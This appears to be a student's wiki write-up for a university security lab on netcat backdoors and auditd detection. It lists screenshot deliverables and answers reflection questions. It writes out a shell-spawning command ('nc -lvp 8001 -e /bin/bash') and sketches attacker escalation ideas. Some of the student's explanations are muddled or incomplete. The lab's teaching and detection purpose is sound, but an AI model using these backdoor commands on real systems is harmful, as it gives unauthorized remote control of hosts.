Backdoor Lab - danniel-giri/SEC-250 GitHub Wiki

Deliverable 1: Screenshot of your rules file

Deliverable 2: Screenshot of both Bob and Eve’s screen.

Ryan as Bob

Deliverable 3: Bob and Eve take a screenshot of inputs and outputs

Deliverable 4: Bob and Eve take a screenshot of inputs and outputs

Deliverable 5: Bob and Eve take a screenshot of inputs and outputs

Deliverable 6-9: Same snips as deliverables 2-5 this time as the opposite role.

Danniel as Bob

Deliverable 10: A screenshot of all three ausearch outputs

Deliverable 11: Answer the following questions based on your experience in this lab: Explain, in your own words, how the nc -lvp 8001 listener and nc X.X.X.X 8001 client produced an interactive shell. Which side is executing the shell process in each variant?

The way that the nc -lvp 8001 listener and nc X.X.X.X 8001 client produced an interactive shell is by allowing the client to connect remotely to the host device and execute commands on that device. The nc -lvp 8001 listener is executing the shell process in each variant because it is listening for remote connections to port 8001 and the nc X.X.X.X 8001 is connecting to that port allowing it to interact with the listener device.

What is the difference in behavior between nc -lvp 8001 and nc -lvp 8001 -e /bin/bash? Why does the -e option change the attacker's capabilities? Why does sending plain text (e.g., echo “password is 1337” > FakeEvidenceHere.txt) demonstrate persistence of command execution, and where is that file stored?

The difference in behavior between nc -lvp 8001 and nc -lvp 8001 -e /bin/bash is that the -e /bin/bash shell takes the inputs from the client device and executes it over the network.

How might an attacker escalate from this simple shell to long-term control? List at least three techniques (e.g., persistence mechanisms, privilege escalation, scheduling tasks).

Some ways that an attacker might escalate from this simple shell is by using it to create files that contain malicious code and having them run at a specified time, or attempting to reach the root directory using the host's credentials, and also opening more ports on the listening device to allow for easier access.

Examine the ausearch output from your bash-from-nc rule. What specific information does the audit log capture about the bash execution? Identify at least 4 key fields (e.g., timestamp, user, process ID, parent process) and explain why each would be valuable to a security analyst.

The audit log captures the time it was executed, the process name, the port it was run on, and the IP it came from. The time it happened is useful because it helps identify how long it has been since this incident occured, the process name allows you to know what commands were run, the port number is important because it tells you what port is being attacked and narrows down where the threat is from, and the IP it came from is helpful because it tells you if it was from an IP on the network or an outside attack.

Your audit rule captured the bash execution on port 8001. If an attacker used port 443 instead (HTTPS), would your current rules still detect the activity? Why or why not? How might you modify your audit rules to be more flexible?

If an attacker were to use port 443 instead, then the current rules would not detect the activity because it was not included in the ports whose activity is being logged. The way you could modify your audit rules to be more flexible is by adding all commonly used port numbers so that you get audit logs for more possible threats.